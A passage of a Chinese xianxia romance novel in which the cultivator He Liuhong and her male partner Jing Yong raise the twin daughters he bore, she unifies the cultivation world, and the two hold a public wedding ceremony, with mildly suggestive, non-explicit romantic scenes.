景雍也很庆幸,他生下的是两个女孩,和她们的娘亲一样的女孩,这样她们才会更有可能亲近她们的娘亲,得到娘亲的喜爱,连带着让他也多得一些欢心。 贺流虹确实很喜欢,至少怀里这个一被她抱起来就咧嘴笑的小家伙很让她喜欢。 她看向景雍,把孩子放回他身边,捧着他的手亲了又亲,道:“小师叔,你真好。” 景雍把另一个女儿抱给她,提醒道:“你还没有抱过妹妹。” 贺流虹故意视若无睹,定定望着他苍白得平添几分楚楚可怜的脸,说:“我想先抱抱小师叔。” 景雍飞快瞥了在场众人一眼,赧然垂眼,嗔怪道:“别闹。” 众人一看两人没说几句就腻腻歪歪起来,不好再留下来煞风景,纷纷告辞。 掌门没有立即离开,留下来看了看两个孩子,问道:“她们是留着你二人亲自教导修炼,还是另择他人指点。” 贺流虹惊讶道:“现在就考虑这个问题,是不是有点太早了?” “她们两个出生时有灵气异动,天赋应当不差,早一日考虑这个问题,便能早一日成就大道,我天玄宗的未来又能多几分保障。” 贺流虹明白掌门这是老毛病又犯了,所有人都逃不开为天玄宗增砖添瓦的命运。 她看了景雍一眼,道:“小师叔怎么想?” 如果是从前,景雍定然赞同掌门安排,总之一切为了天玄宗,就连他的存在他的努力修炼也是为了天玄宗。 但是现在不一样了,他的心彻底偏向了贺流虹,即便是这两个孩子也是因为贺流虹才出生的,贺流虹才是他的一切。 他说道:“女儿是你的,自然是由你来决定。” 贺流虹说:“那就先等她们在长大一些,问问她们自己的看法吧。” 掌门说道:“也行吧,你们看着办。”他还是分得清轻重缓急的,贺流虹都化神了,何必因为两个没有定数的小婴儿与她闹出分歧,将来真正能指望谁来拯救天玄宗,简直是一目了然。 贺流虹这才去看小女儿,准备也抱起来哄一哄。 小女儿在她伸过手去抱时忽然睁开眼,那双眼睛好似成人一般冷静,她一惊,吓到一般收回手。 景雍疑惑道:“怎么了?” 贺流虹又去看,那双眼睛又恢复了小婴儿的迷蒙和天真,嘴里吐着口水泡泡。 她笑道:“没什么。”心里却闪过困惑,明明是一对双生子,怎么之前没一个人发现。 再联想到这两个孩子险些不能出世,是周荡以魂飞魄散为代价救回来的,就更是感到有些古怪。 她找借口没有抱小女儿,引着小师叔说些别的。 景雍回想着她在接触小女儿那一瞬间的抗拒神情,有些心不在焉,问道:“阿虹,你想好给她们取什么名字了吗?” 这个贺流虹还真没想好,她面露难色,“你知道的,我来修真界之前连字都不认识几个,让我取名字,我不会啊。” 景雍想起她闲暇时对他说过从前在凡界的经历,心中升起对她的无限怜爱,温柔开口,给她一些提示:“名字可以有很多取法,最常见的就是将自己对孩子的期待加入名字当中,阿虹这么聪明,一定可以的。” 贺流虹很难辜负小师叔对她的鼓励,抓耳挠腮,跃跃欲试:“呃,那……我希望她们两个将来又聪明又强大,又勇敢,又威风!呃……那就叫小聪和小强吧!” 景雍: “……” 两个小婴儿又大声哭起来。 掌门一直还留在这儿没走,闻言将喝进嘴里的茶喷了出来,“贺流虹,你对自己的孩子可真残忍呐。” 贺流虹:“啊?哪里残忍了?” 景雍确实是想着,无论她想出来的名字是什么,他都顺着她的心意,但小聪和小强他真有点接受不了。 “阿虹……”他犹豫开口,“要不你再想想?” 贺流虹:“行吧,嗯……那就叫小勇小威吧!” 掌门的第二口茶又喷出来,同情地看着自己的师弟,“她好像真的对这两个名字很满意。” 贺流虹:“?怎么感觉掌门你在嘲讽我?” 最后,在小师叔和掌门的建议之下,两个孩子险险躲过了成为贺小勇贺小威的命运,勉强改成了贺咏和贺巍。 贺流虹抱着大女儿,“好好好,贺咏,你就叫贺咏了,听见没,感受到你娘亲的才华横溢了没有。” 小婴儿又咧嘴朝她笑起来。 贺流虹也乐了,笑得像个刚从小学放学的傻子。 景雍望着她与女儿相处的一幕,还很虚弱的脸上浮现温柔神色,宠溺而又无奈,对师兄轻声感叹着:“她自己都还是个没长大的孩子呢。” 贺流虹玩够了,把孩子放回去,望见掌门,很认真地思考了一会儿,“你们说,这两个孩子到底是该喊掌门师伯还是师祖呢。” 掌门被难倒了,头痛道:“你们俩的关系暂时还没多少外人知道,就先喊师伯吧。” 景雍被提醒着想起自己师叔的身份,有点无地自容,他望向贺流虹,想着自己与她的关系怕是只能这样遮遮掩掩。 但是很快孩子的哭闹声就干扰了他的心绪,他低下头去哄,发现孩子饿了,连忙给贺流虹使眼色。 贺流虹恰巧看到他衣服上的湿渍,清了清嗓子对掌门说道:“师父啊,你是不是应该给我们一家四口留一点独处的时间呢?” 掌门还不知道自己的师弟连奶水都能自己产自己喂,正想着怎么解决自己两个侄女的吃喝问题呢,就被贺流虹“送客”了。 他去给侄女找奶水,屋子里,景雍也开始亲自学着给女儿喂奶水。 贺流虹虽然也常常缠着他说自己“口渴”“肚子饿”,但贺流虹不是小婴儿,懂得自力更生,自得其乐,刚出世的小婴儿就不一样了,并不很配合。 景雍手忙脚乱地喂孩子,贺流虹还要守在一旁,寸步不离,一脸新奇地盯着看,直把他看得两颊绯红,浑身滚烫。 女儿们吃饱了,又睡了过去。 屋子里安静得只能听见呼吸声,贺流虹往床边一坐,抱着他轻轻叹了口气。 景雍心砰砰乱跳着,快要从心口跳出来,唯恐她也“饿了”,要和女儿抢奶水喝。 贺流虹倒是没有想到这地方去,刚见到孩子,当下她的心里更多的是新奇,觉得有趣。 她又叹了一声:“小师叔,要是我能早点出关,就能赶上你生孩子了。” 她还没见过男人生孩子呢,好想瞧瞧。 景雍越发觉得她也像是一个孩子,顽劣的时候是真的很顽劣,但可怜的时候也是真可怜,一点点小事都能令她遗憾惋惜半天。 “都过去了,我和女儿们不是都好好的吗,你也进阶到化神,多值得高兴的事啊。” 贺流虹只能接受这个结果,又附到他耳边低声问:“小师叔,下回你要是再怀上,我守着你一步也不离开,直到宝宝生下来好不好。” 景雍被她真诚又期待的目光瞧着,失去所有拒绝的力气,乖顺地点了点头,答应道:“好。” 贺流虹欢喜雀跃地抱住他:“小师叔,你怎么这么讨人喜爱呀。” 第68章 第68章我不怕,我愿意 贺流虹直接搬去神月峰住了,和小师叔一起养孩子。 准确来说,是小师叔养,她在一旁围观。 每次她想上手的时候,小师叔就会以一副“你自己都是个孩子你别添乱”的神情把她支开到一边。 她只能在一旁巴巴地望着,趁小师叔不注意偷偷玩一玩女儿,有时候还能再顺带玩一玩小师叔。 生完宝宝的小师叔,成了一个名副其实的男妈妈,哄女儿的样子散发着神圣的母性光辉。 即便如此,他还是会像以前一样怕羞,贺流虹很努力地试过了,怕羞这毛病可能是治不好了。 但是没关系,小师叔脸红起来的样子比以前更可爱了,散发着一种说不清道不明的韵味,令人一眼着迷。 他和两个女儿在一起的时候,是天底下最美的画面,每当这个时候,贺流虹就有种眼花缭乱的感觉,不知道该看宝宝,还是该看比宝宝更可爱的小师叔。 世上绝对没有比小师叔更迷人的男人。 两个女儿出生没多久就被掌门测过了天赋,都是几千年才出一个的绝佳修炼天才,比小师叔当年有过之而无不及。 掌门高兴坏了,比自己亲自生了两个还兴奋,天天张罗着要给两个天才侄儿找师父,找上了坐镇天玄宗的四位太上长老。 最后一合计,让四位长老一起来教,一定要在长老们寿元耗尽之前共同努力教出两个惊世天才。 贺流虹有点舍不得,她还没抱够呢,强烈要求让孩子再在神月峰多待几年,至少要先学会说话,喊几声娘亲听听吧? 景雍一日比一日清楚地感受到贺流虹对女儿的喜爱,于是和贺流虹一起请求长老们。 长老们也急,眼看着天玄宗的灵脉都要无了,贺流虹这个能够拯救宗门的唯一希望倒是在神月峰过上师叔孩子热炕头的平静生活了。 贺流虹也不是没有修炼,她只是刚刚喜得贵女,还没有在修炼和生活中做好平衡,作为一个负责任的好女人,她怎么能在小师叔为她生完两个女儿之后不闻不问呢。 两个女儿虽然是双生子,但是很好辨认,大女儿胖嘟嘟,哭起来中气十足,小女儿瘦瘦小小的,连哭声都要更细弱,大夫说小女儿在胎中就留下先天不足,若不是运气好,可能没机会出生。 贺流虹面对小女儿时,脑子里总是无端想起她刚出生那天的眼神。 尽管只有那一次,之后的小女儿和任何一个身体羸弱的小婴儿没有不同,但是景雍还是敏锐地察觉到了贺流虹对两个女儿态度的微妙区别。 他偶尔会为此感到落寞。 他会想,明明也是他生的女儿,为什么贺流虹看向那个女儿的眼神有些冷淡,是因为还不够喜欢他,所以爱意不足以蔓延到他生的孩子身上吗? 之所以那么喜欢逗大女儿玩,也不是因为大女儿是他生的,而是大女儿本身就性格热情惹人喜爱? 但是这样的想法总是没有机会持续太久,就会被其他状况打断,有时候是两个孩子的哭闹声,他要去照顾,有时候是贺流虹来找他,他的心情会豁然开朗,所有的忐忑不快都在看见对方时消失。 孩子长大一些,会自己跑来跑去,会自己表达需求之后,给景雍解迷情散的事情又被提上日程。 因为担心再次怀上,导致孩子太多无法精心照顾到每一个,两人神交的频率很低,几个月甚至一年来上一次。 但这不代表贺流虹会放过比从前更靡丽迷人的小师叔,不交流,哪里来的感情呢。 贺咏和贺巍五岁那年,太上长老终于等不及,把她们接过去上学了。 贺流虹没了理由,老老实实闭关修炼,偶尔出来找小师叔诉说思念,交流感情。 第二年,贺流虹进阶到化神中期,也是同一年,缥缈仙宗终于坐不住,找了个借口,朝天玄宗打了过来。 结果当然是双方都没占到很大便宜,贺流虹把缥缈仙宗一个大乘期给灭了,天玄宗略胜一筹,还将缥缈仙宗和其余几家这些年残害散修的秘密宣扬得到处都是。 整个修真界从那一年开始又打打杀杀起来,四 大宗门有三个都做着为了一己私利残害同类的事,惹了众怒,散修和不入流的小门派跟着天玄宗,与三大宗门对峙,有的让交出灵脉大家一起使用,有的野心勃勃想要得到三大宗门的私藏趁乱崛起。 到处乱糟糟的,私欲其实都不少。 反倒是妖族忽然消停了,不再嚷着为死在景雍手中的师祖报仇,重新躲回了老家。 贺流虹是不想管的,也管不过来,但她名义上还是天玄宗弟子,还有两个没长大的孩子正在跟着太上长老修炼,师门需要她动手的时候,她还是得去杀几个人意思意思。 次数多了,就挺烦的,她只想过师叔孩子热炕头的平静生活而已。 混乱持续到第五年,贺咏和贺巍都要满十岁的时候,贺流虹在一次闭关中偶然利用龙吟秘境中得到的那片龙鳞窥见另一方世界的景象。 虽然只是一瞥,但她惊讶地发现,那是一方灵气极为充裕但又没有生命存在的世界。 她的神识只在那方世界停留片刻,便立刻有了突破的感觉,当天便引动雷劫,成了天玄宗第五位大乘期修士,也是修真界有史以来最快修炼至大乘的一位。 她的进阶没有产生任何决定性的影响,打打杀杀还在继续,甚至愈演愈烈,得到想要的利益之前,仙门内的自相残杀不会停止。 真正的变化发生在第二年。 这一整年的时间她都在那方灵气充裕的世界修炼,修炼速度在原有基础上更为飞涨,很快就即将渡劫,半步飞升。 按照修为境界来算,她如今可以称得上是修真界第一人,无人能出其右,但大乘期不止她一个,联起手来反抗她的话,她还是没辙。 不过她很快又将乾坤珠炼化,彻底驯服了那颗不服管教的珠子,获得了窥破天道法则的力量。 所有原本正在争执打斗的修士都在冥冥之中有所感应,这个世界似乎有了一位天道化身,掌管着毁灭,也掌管着治愈,如果她愿意,时间似乎也能成为她的玩具。 贺流虹默许着大家对她的误解,她不是天道化身,她只是获得了一点小小的力量,比大家都强亿一点点而已。 第二年,她一手建立了仙盟,在仙盟地界内布下聚灵阵法,设下严格的禁制,引来一方世界真正取之不尽用之不竭的灵气,加入仙盟,并遵守仙盟规矩的人才能在其中修炼。 至于仙盟的规矩是什么,当然是和谐,互助,尊重,友爱,当然,最重要的一点规矩,就是听她的话。 没办法,反正人类的规矩都是一边被定下一边被破坏,暴力和战争才是基调,她的力量都等同天道化身了,干脆就让她来当这个世界的规矩吧。 于是在两个女儿十三岁那年,修真界终于在贺流虹的绝对压制和一手遮天之下迎来了暂时的友爱和平。 贺流虹又过上了小师叔孩子热炕头的平静生活。 她把脸埋在景雍怀里,半真半假地叫苦:“小师叔,幸好还有你在家里等着我,没有你我可怎么过啊。” 景雍温柔地爱抚她的头发,很是心疼:“是不是又有人欺负我的阿虹了?” 他就像忘了,自从仙盟建立之后,贺流虹如今在修真界众人眼里的形象已经接近于不可忤逆的帝王,力挽狂澜的救世主,或是头顶永远挥之不去的阴影。 贺流虹就很迷恋他这一套,他身上的气息越来越让贺流虹无法自拔。 不知道是不是生两个女儿之前被贺流虹医治得太尽心尽力,贺咏和贺巍五岁的时候,景雍才不再像妇人一样分泌奶水,但是时至今日,贺流虹仿佛仍然能从他怀里闻见若有若无的乳香。 这使他的气质既像是一个异性的爱人,又像是一个饱含柔情的母亲,无论贺流虹怎么犯浑,怎么不知满足地索求,总能得到无限的包容。 她又在景雍怀中使劲蹭了蹭脸颊,闻着熟悉的气息,整个人从身体到心领都得到救赎一般,舒服地长叹一口气,道:“小师叔,你要一直这样爱我,好不好?” 景雍喜欢她这样问他,就好像他永远都是她最珍贵最重要的存在。 他有些害羞地垂眼,轻点了下头:“好。” 贺流虹瞧了他一会儿,有些不满意,从他怀里爬起来,捧起他漂亮的脸,有些严肃地说道:“你要看着我的眼睛。” 景雍抬眼,眼尾的泪痣像要溢出血来一样鲜红夺目,浅色的眼眸迷离而又深邃,红唇微张,轻声说道:“好,我会一直这样爱你。” 他仍然不适应如此直白地表达对贺流虹的爱意,刚说话,眼中就蒙上了一片水雾,好像受了天大的欺负,快要哭出来。 贺流虹对着他微微张开的柔软嘴唇亲下去,终于将他眼里的泪水逼了出来。 分开之后,他像是被抽干了所有力气,绵软无力地靠在贺流虹肩上,有些急促地轻喘着。 两个女儿就在这个时候出现,欢快地朝贺流虹飞奔过来。 景雍窘迫地从贺流虹怀里挣脱,转过身去背对着两个孩子,急匆匆整理着被贺流虹使坏弄乱的衣服。 “娘亲!长老放我们回来啦,这次能在家和娘亲爹爹在一起待两日!” 贺咏欢喜雀跃地大喊着,一下扑进贺流虹怀里,叽里呱啦说起了跟着长老学习的琐事。 贺流虹只好从与小师叔腻歪缠绵的氛围中恢复正经神色,摆出了娘亲该有的样子。 她眼含笑意,认真听着大女儿絮絮叨叨,又望了一眼小女儿。 小女儿贺巍的身体调养得还不错,但还是有些瘦弱,瘦巴巴的小脸显得一双眼睛格外的大,乖巧安静地站在一旁,期待地看着姐姐和贺流虹说话,又想和姐姐一起钻进娘亲怀里撒娇,又怕惹娘亲烦。 小孩子心思很好猜,贺流虹心想小女儿怎么就跟小师叔一样扭扭捏捏,明明想要却又瞻前顾后。 她对贺巍招招手:“巍宝,你怎么不和咏宝一样过来抱抱我,你不想我吗,可是我想你了。” 贺巍露出了高兴的笑容,终于也和姐姐一样扑进母亲怀里。 景雍看着这一幕,脸上也浮现满足的笑意。 贺流虹对他眨眨眼,道:“两个小宝宝都抱了,还有个漂亮的大宝宝怎么可以不抱呢,万一大宝宝生气,说我不爱他了怎么办。” 景雍被她调侃得耳尖微红,哭笑不得地开口:“别当着女儿的面说这些。” 贺咏和贺巍回来的路上又去灵兽园找灵猴打架,头发衣服乱糟糟的,贺流虹试图给两个小孩梳头发,但是这么多年手艺就没进步过。 贺咏从她手里救下自己可怜的小辫子,跑到景雍那边,“爹爹,还是你来吧。” 贺巍也想跑,但是被贺流虹抓住了,只好欲言又止地看了她一眼,视死如归地将脑袋伸过去,小声道:“娘亲,你来吧。” 贺流虹哈哈大笑,揉揉她的小脸蛋,“好吧,找你们心灵手巧的阿爹去吧。” 她故意说得有些酸溜溜,贺巍听了,抿了抿嘴,抓住她的手,略带些歉疚地说道:“我不该嫌弃娘亲的手艺,我就陪着娘亲好了,头发乱了就乱了吧,反正明日起床也是要重新梳的。” 贺流虹亲亲她瘦弱的小脸蛋,感叹道:“唉,我们巍儿真的是世上最懂事的孩子。” 这些年来,景雍最开心的事情之一,就是随着两个女儿年岁渐长,贺流虹对小女儿的关注和爱意也终于多了起来,让他不必常常担心生出了惹她不快的孩子。 他帮两个女儿细心整理好乱糟糟的头发和衣服,像往常一样嘱托着她们要勤加修炼切莫贪玩。 贺流虹挤开两个孩子一头扎进他怀里,笑嘻嘻说道:“还有我呢,我的头发和衣服也乱了,小师叔,你怎么能厚此薄彼。” 面对她如同孩童般的耍无赖行为,景雍状似无奈,心中却异常甜蜜,一边动作轻柔地帮她梳理头发,一边宠溺地调笑:“我们的仙盟之主,仙门至尊,今年到底几岁了,怎么看起来像是在泥地里滚过似的?” 贺流虹意味深长地冲他笑了一下,然后对两个女儿说道:“接下来我要和你们的阿爹交流一些很重要的事,小孩子不适合听,去别处玩吧。” 贺咏贺巍对视一眼,又看了看一向平静温和的阿爹脸上浮现红晕的异常模样,迷茫地应了一声,结伴走了。 景雍看着女儿消失的背影,强装镇静,问道:“阿虹有什么重要的事要同我说?” 贺流虹见他如今竟学会了装傻充愣,倍觉有趣,板着脸说道:“方才 你对本仙尊不敬,你说,是不是很重要的事?” 景雍配合着她的玩闹,低眉顺眼地答道:“琼华知错了,请仙尊高抬贵手,放过琼华。” 贺流虹撇了撇嘴,不满道:“犯了错怎么能轻轻放过,你当本仙尊是好惹的吗,你再好好想想,应该怎么让本仙尊消气。” 景雍又不是第一天认识她,早在她支开两个孩子的时候就明白了她的用意。 想到接下来将会面临的事,他的身体提前有了反应,两腿都有些发软。 事到如今,如若贺流虹想要在床榻间尽情欺负他,他除了啜泣哀求,是半点法子也没有的。 他轻轻地扯住了贺流虹的袖子,用轻得不能再轻的声音满含羞耻地说道:“琼华知错了,请仙尊尽情享用琼华的身体。” 贺流虹忍着笑,一副凶巴巴的样子用力撕开了他的衣服。 景雍当真有些被吓住,以为她真的生气了,泪水当场就涌出来。 贺流虹好笑又怜惜,“笨蛋小师叔,又怕羞又不禁吓。”还不耐折腾,一不小心就晕过去。 景雍觉得很是丢人,将脸偏过去。 贺流虹不想再吓他,把他抱回了室内。 等到景雍再次恢复清醒的意识,已经是第二天了。 窗外传来贺流虹和两个女儿的说话声,似乎是在指点女儿修炼。 景雍脚步还有些虚浮,打开门走出去的时候,大女儿贺咏正一脸崇敬地望着贺流虹大声说道:“娘亲,以后我一定也会成为和你一样了不起的修士,我会努力修炼,成为和你一样的仙门至尊!” 贺流虹盘着腿坐在树上,闻言朝另一个孩子扬了扬下巴,问:“贺巍,你呢,不会也想当仙门至尊吧。” 贺巍歪着头认真思考了一会儿,道:“以后我想……我想让娘亲和爹爹一直开开心心,只要是让娘亲和爹爹开心的事,我都会努力去做的!” 贺咏不服气地冲妹妹做鬼脸:“你又在故意说好听的话哄娘开心!” 贺巍像个小大人一样摇头叹息:“那也没办法啊,如果我也像你一样努力修炼,你的仙尊之位就是我的了,你会哭的。” 贺咏啊啊怪叫着冲过去:“贺巍,我现在就让你知道谁才是姐姐!” 两个孩子瞬间就撒欢似的跑没影了。 景雍来到树底下,仰着一张更添风情的脸,看向树上,道:“阿虹。” 贺流虹从树上一跃而下,稳稳扑倒在他怀里,笑道:“你终于醒啦?贺咏和贺巍刚才还说爹爹怎么总是喜欢赖床呢。” 景雍被她借着两个女儿的话调笑,又急又羞,拿手挡在她嘴边,道:“不许再拿这事笑话我。”他起不来床到底怪谁,她比谁都清楚。 贺流虹张嘴便在他手上轻轻咬了一口,他连忙把手缩回去,转身往屋里跑,唯恐又被抓住狠欺负一顿,那样两个女儿好不容易回来待两天,他却只能在床上度过了。 好在贺流虹没有这么不知节制,只是将他搂着,下巴有一下没一下轻轻蹭着他雪白光滑的脖颈,坐在窗边不紧不慢开口:“小师叔,我想和你说一件事。” 想了想,她又改口:“不,两件事。” 景雍有些疑惑又有些期盼,道:“你说。” 贺流虹道:“咏儿巍儿马上都满十四了,还是有很多人不知道她们的真实身份呢,小师叔,我想和你举行一场结侣大典,将我们的关系正式公开。” 景雍心头发热,按照贺流虹如今在修真界的地位,确实不必再顾及旁人眼光,也不必再对二人的关系遮遮掩掩。 贺流虹见他沉默,又说道:“如果小师叔还是怕被人指指点点,那也没事,我们就一直这样也挺好的。” 景雍急忙道:“不,不好,我不怕,我愿意。” 贺流虹是仙盟之主,谁见了都要礼让三分,与之比起来,他这个小师叔的身份早就不算什么了,只不过是贺流虹爱惜他才会这样继续像从前一样喊他小师叔。 说实话,有时候贺流虹在外头被事情耽搁不能及时回来,他甚至会担心自己被就此抛下,到时候他又有什么资格追上去缠着她呢,他们连道侣都不算。 能被贺流虹公开道侣身份,成为她名正言顺的被承认的爱人,即便仍然有人耻笑他身为师叔却行为不端,又算得了什么。 他主动拥抱住她,眼里满是喜色:“阿虹,谢谢你愿意考虑这些,我等这一天很久了。” 贺流虹感受到他由衷的高兴,不由的也心情畅快,半开玩笑地说道:“以后谁加入仙盟,得先喊你一声盟主夫人才行。” 景雍被她逗笑,可又觉得这句玩笑实在令他幸福和满足,原来是他多虑了,贺流虹并不会因为声望地位的变化而抛下他,无论走到了哪一步,始终将他视作不离不弃的伴侣。 第69章 第69章看来我只能拐走小师叔一…… 他细细回味了一下这种喜悦,过了一会儿,才有些担忧地说道:“你引来天外灵气,许以好处,又亲自坐镇仙盟,眼下看来确实各方安宁,但人的贪心是止不住的,你终究只是一人,总有大意的时候……我怕你这般行事并非长久之计。” 贺流虹笑道:“这是我想跟小师叔说的第二件事。我知道仙盟如今这样并非长久之计,所以一开始就没打算长久。” 她将通过龙鳞与天外世界沟通之事说了,又告诉了他自己无意窥探到这个世界的天机,所谓的飞升不过是身死道消的另一种欺骗人的说法,一生修炼所得尽数化作灵气,一半反哺人间,一半被天道吸收,维持世界运行。 贺流虹一想到这个秘密就毛骨悚然,也就是说,修炼的速度越快,死得越快。 她都渡劫期了,隐隐有预感雷劫很快就要降临到她头上,她可没打算这么年纪轻轻就“飞升”。 “所以我不打算一直待在这个地方,天外还有数不清的小世界,等我把小师叔娶了,我就带着小师叔去其他世界度蜜月,度全宇宙时间最久的蜜月,去见识更多有意思的事情,和小师叔一起度过漫长余生。” 这些消息不亚于当初炼化乾坤珠给景雍带来的震惊,但是贺流虹最后的话给他带来的喜悦是无法用言语来表达的。 她想和他一直在一起,不管去到哪里,哪怕离开这个世界,也会一直在一起,一起度过漫长又幸福的余生。 贺流虹的话像一颗糖在景雍的心里慢慢化开,甜丝丝的,回味悠长。 他甚至没有心思再去思考些别的,只沉浸在两人即将向世界之外“私奔”的甜蜜和激动之中。 过了好一会儿,才渐渐平复心情,道:“你若是走了,修真界怕是又要起一些波折。” 贺流虹握着他的手,像把玩成色最完美的玉石那样把玩着他皙白柔润的指尖,嘴里缓慢说道:“我已经留下了足够所有人生活的资源,如果还是会因为私欲将这个世界搅得一团乱,那我也没办法。” 同样的,她也是有私欲的。 风平浪静的时候,她能勉强扮演一下芸芸众生的守护神,但是一旦出现意外,她无法保证心中的天平不会倾斜,牺牲小我成全大爱什么的,凭她的觉悟恐怕还做不到,很多人很多东西在她心中都会排在芸芸众生前面,她自己,她可爱可怜的小师叔,贺咏,贺巍,贺小霓…… 乾坤珠确实无 所不能,拥有改写天道法则的力量,起死回生时间倒转也不是不能做到,但想动用这种力量,必须付出相应的代价。 贺流虹能凭借它震慑众人,是建立在即将付出的巨大代价的基础上的。 她想好好享受活着的滋味,享受小师叔的爱,她不想凄凄惨惨地收场。 她将脑袋埋在景雍的脖颈处,轻轻蹭着,道:“小师叔,我很贪生怕死的,有了你之后,我就更贪生怕死了。” 景雍见她在外面耀武扬威,回来之后又把自己说得那么可怜,有些哭笑不得。 但还是顺着她的话哄道:“好,我们离开这里,忘掉这里的仙盟,忘掉妖族,忘掉乾坤珠。” 贺流虹忽然又笑得意味深长,“那也不必,乾坤珠有时候也挺好用的。” 她要不是曾经动用了这颗珠子的力量,封印了记忆,早就被近千年的幽禁折磨得精神崩溃,变成一个疯子,哪里能来修真界,哪里能遇得到小师叔这个修真界第一美人呢。 她要不是又无意间动用这颗珠子改写法则,又怎么能让小师叔揣上崽,得到一对可爱的女儿呢。 景雍自然也听懂了她这句话暗含的深意,越发感觉她真是个坏家伙。 一想到她当年表面一副老实小弟子的样子,潜意识里却想看他大着肚子为她生孩子,他就既脸热,又无奈。 对她无奈,更对自己无奈,如果能重来一次,他还是会心甘情愿的。 他是一个自小只会修炼的笨拙之人,除了这样,他想不到还有什么做法能让她更开心。 何况她也确实因为那两个女儿与他更密不可分了,很快他就会在世人见证下成为她名正言顺的爱侣。 贺流虹说完正事,美人在怀,早就心猿意马,将人压在窗前。 窗户是打开的,冰凉的风吹进来,景雍身上却着了火,火势越少越猛,他烧得意乱情迷,回应着贺流虹的亲吻,脑海中回想着她方才做出的种种允诺和告白,心中涌出狂热的爱意,虔诚又疯狂地祈求道:“阿虹,求你,再让我为你生一个孩子吧。” 贺流虹低笑一笑,做无辜状:“为什么要求我呢,小师叔,你要自己争气哦。” 景雍在窗边摇摇欲坠,他的一片衣服像落叶一样随风飘到窗外,他感觉自己也变成了一颗早已熟透的果实,表面完整,内里汁水泛滥,要么自己坠下去,要么被人嚼得稀烂。 虽然郑谷主说过,他和贺流虹神魂契合,本就有可能从神识中孕育出胎儿,但他无比地清楚,这一切的决定权都在贺流虹手中。 贺流虹想给他孩子,他才会有她的孩子,贺流虹想给他爱,他才会被爱。 她是他无所不能的神明,也是他纵容宠溺的孩子,更是与他相伴此生的爱侣。 …… 结侣大典在次月举行。 贺流虹没经验,不懂流程,但是在她的概念里,这就是修真界的婚礼。 就算是马上要离开这个世界,该有的仪式不能少,她必须要给小师叔一个隆重的婚礼。 掌门大包大揽,作为将整个修真界从灵气危机中解救出来的仙盟之主,结侣大典再声势浩大也不为过。 议论声难以避免,什么师叔师侄不伦之恋,大了师侄那么多岁的师叔不懂自重不知羞耻之类的,但谁也不敢公然诋毁,大家都还想留在仙盟享受好处。 贺流虹也懒得管了,堵不住悠悠众口,只要不在她眼皮子底下闹事,她就当不知道。 结侣大典上,祥云漫天,灵气缥缈,宏伟的高台上,无数人的见证下,贺流虹美滋滋地牵着小师叔的手出场了。 临出场前,贺流虹围着景雍左看右看,上上下下地看,越看越觉得她的小师叔今天打扮得实在太美,忽然就占有欲犯了,加急定制了一张红盖头,把小师叔随时随地漂亮得勾引人心的脸给遮住了。 今天来现场的许多人,一个都不给看,她的小师叔,当然只有她能看。 景雍倒是因为她临时做出的决定暗暗松了一口气,这下终于不用被那么多人瞧见他害臊丢脸的样子了。 他被贺流虹牵着,眼前什么也瞧不见,只有晃动的珠帘下模模糊糊的影子,贺流虹往哪里走,他就乖乖跟到哪里,既羞涩,又安心。 玉阶一直延伸到半空,灵力维持下的凤鸾台在高空中宛若想象中的仙庭,琼枝玉树,美酒佳酿,以及一众修士的交谈声。 贺流虹一眼扫过,全场寂静。 掌门清清嗓子,一本正经道:“贺盟主,琼华是我看着长大的小师弟,从今天起我就把他交给你了,你要好好待他,爱护他。” 贺流虹握着身旁之人的手,认真点了点头:“那是自然。他不仅是我小师叔,还为我生下咏儿和巍儿,世上没有比他更值得我爱护的人。” 景雍躲在盖头后面,难为情极了,明明也不会有人看见他的脸,他还是往贺流虹身边躲了躲。 这一躲,就慌慌张张踩到了繁重华丽喜服的衣摆,一个踉跄,跌到贺流虹怀里去。 贺流虹紧紧箍着他如今越来越软越细的腰肢,压低了声音玩味道:“小师叔,还没到洞房花烛的时候呢,别急嘛。” 景雍慌慌张张从她怀里离开,理了理自己的衣饰,做出苍白无力的反驳:“我才没有急。” 贺咏和贺巍就在两人身后,将两人的窃窃私语听得一清二楚,捂着嘴偷笑。 贺流虹也跟着笑了一下,将他有些歪掉的盖头整理好,挡住他露出来的漂亮下巴和雪白脖颈。 典礼继续有条不紊地进行着。 加入仙盟的各个门派以及散修们都殷勤地献上贺礼,对着景雍肚子里生出来的一对女儿也是各种奉承夸赞,甚至连从前鄙弃嫌恶的男子有孕忽然都成了修真界的最新潮流,风月宗已经在研究怎么让男人生孩子了。 贺小霓从人群中走出来的时候,场面又安静了一瞬。 他们忌惮贺流虹是因为怕贺流虹把他们赶出仙盟,忌惮这个看起来一脸单纯的女修,是因为怕自己第二天就成了传遍修真界的涩图主角。 作为修真界有史以来最有天赋(主要体现在画涩图上)的一名画修,还是仙盟之主的义妹,众人是真的拿她没有办法。 画修贺小霓喜欢你的时候,会把你画到画上去,不喜欢你的时候,还是会把你画到画上去。 贺流虹这个最让她喜欢的姐姐,当然也收到了一副画作为贺礼。 她的眼睛让贺流虹动用乾坤珠的力量重新恢复视力,但是画画时仍然会蒙上眼睛。 用她的话来说,作画,用眼睛不如用心,心中的热爱会自然而然倾注到画纸上面去。 贺流虹展开她送的那副画,瞧了一眼,不出意外,十分精彩,很美,美不胜收,很妙,妙不可言。 她将画合上,以防被旁人看去,真挚感慨道:“小霓,看得出来你是真的很热爱了。” 贺小霓骄傲地一点头:“嗯!”又强调道:“这幅画是送给姐姐姐夫两个人的,不能传出去的!” 贺流虹想,妹妹的一片心意,那当然是只能她和小师叔私下欣赏。 贺咏和贺巍凑过来,将画拿过去,好奇地展开,却又像往常一样只能看到一团模糊。 贺咏很是纳闷:“我也想看。为什么每次都什么都看不清。” 贺巍心态挺好,乖巧 地安慰她:“娘亲和姨姨说画上的禁制是为了保护未成年,等我们长大就能看到了。” 因为这一副未成年禁止观看的画,贺流虹也有点急着想要入洞房了。 剩下来的时间过得既慢又快,等到宾客都散了场,九重天上的凤鸾台也黑寂无声,只有萤火的光映在窗上,景雍恍若隔世地坐在床边,感觉这一天就像是做梦一般。 他真的成为贺流虹名副其实的爱侣,再也不必遮遮掩掩。 门被打开,脚步声不紧不慢传过来。 贺流虹说要等晚上亲自来掀开他的盖头,他就一直乖乖坐在这里等她来。 即便眼睛看不见,但那熟悉的气息早已被他的身体铭记,让他本能地颤栗和心动。 “小师叔,这么晚还不睡,你是在等谁呢。” 贺流虹紧贴着他坐下来,在他繁复美丽的衣服下摸索着。 景雍下意识想说,以他二人的境界是不需要像普通人一样每晚睡觉的,但立即反应过来,她这是又想和他使坏。 于是他做出新婚之人羞怯的模样,嗫嚅着:“我在等那个与我刚成婚的妻子。” 